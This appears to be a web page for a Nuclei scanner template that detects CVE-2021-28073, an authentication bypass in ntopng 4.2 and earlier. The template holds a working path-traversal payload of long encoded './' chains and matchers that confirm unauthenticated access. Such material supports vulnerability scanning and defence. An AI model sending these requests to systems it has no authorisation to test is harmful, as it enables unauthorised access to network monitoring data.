Ntopng Authentication Bypass

ID: CVE-2021-28073

Severity: critical

Author: z3bd

Tags: cve2021,cve,ntopng

Description

Ntopng, a passive network monitoring tool, contains an authentication bypass vulnerability in ntopng <= 4.2

YAML Source

id: CVE-2021-28073

info:
  name: Ntopng Authentication Bypass
  author: z3bd
  severity: critical
  description: Ntopng, a passive network monitoring tool, contains an authentication bypass vulnerability in ntopng <= 4.2
  impact: |
    Successful exploitation of this vulnerability could result in unauthorized access to sensitive information and potential compromise of the affected system.
  remediation: Upgrade to version 4.3 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27573
    - http://noahblog.360.cn/ntopng-multiple-vulnerabilities/
    - https://github.com/AndreaOm/docs/blob/c27d2db8dbedb35c9e69109898aaecd0f849186a/wikipoc/PeiQi_Wiki/%E6%9C%8D%E5%8A%A1%E5%99%A8%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/HongKe/HongKe%20ntopng%20%E6%B5%81%E9%87%8F%E5%88%86%E6%9E%90%E7%B3%BB%E7%BB%9F%20%E6%9D%83%E9%99%90%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%20CVE-2021-28073.md
  classification:
    cve-id: CVE-2021-28073
  metadata:
    max-request: 2
  tags: cve2021,cve,ntopng

http:
  - method: GET
    path:
      - "{{BaseURL}}/lua/%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2ffind_prefs.lua.css"
      - "{{BaseURL}}/lua/.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2ffind_prefs.lua.css"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "application/json"
        part: header

      - type: word
        words:
          - '"results":'
          - '"name":'
          - '"tab":'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f14cd2d0a2407b207b1bc869cc4e94d650d4640fe02755699feb531c97a843d8022100b2be614e572fa167480efb412bd3aa86381c163bbc4074cebe579f30ca3b9fac:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-28073.yaml"

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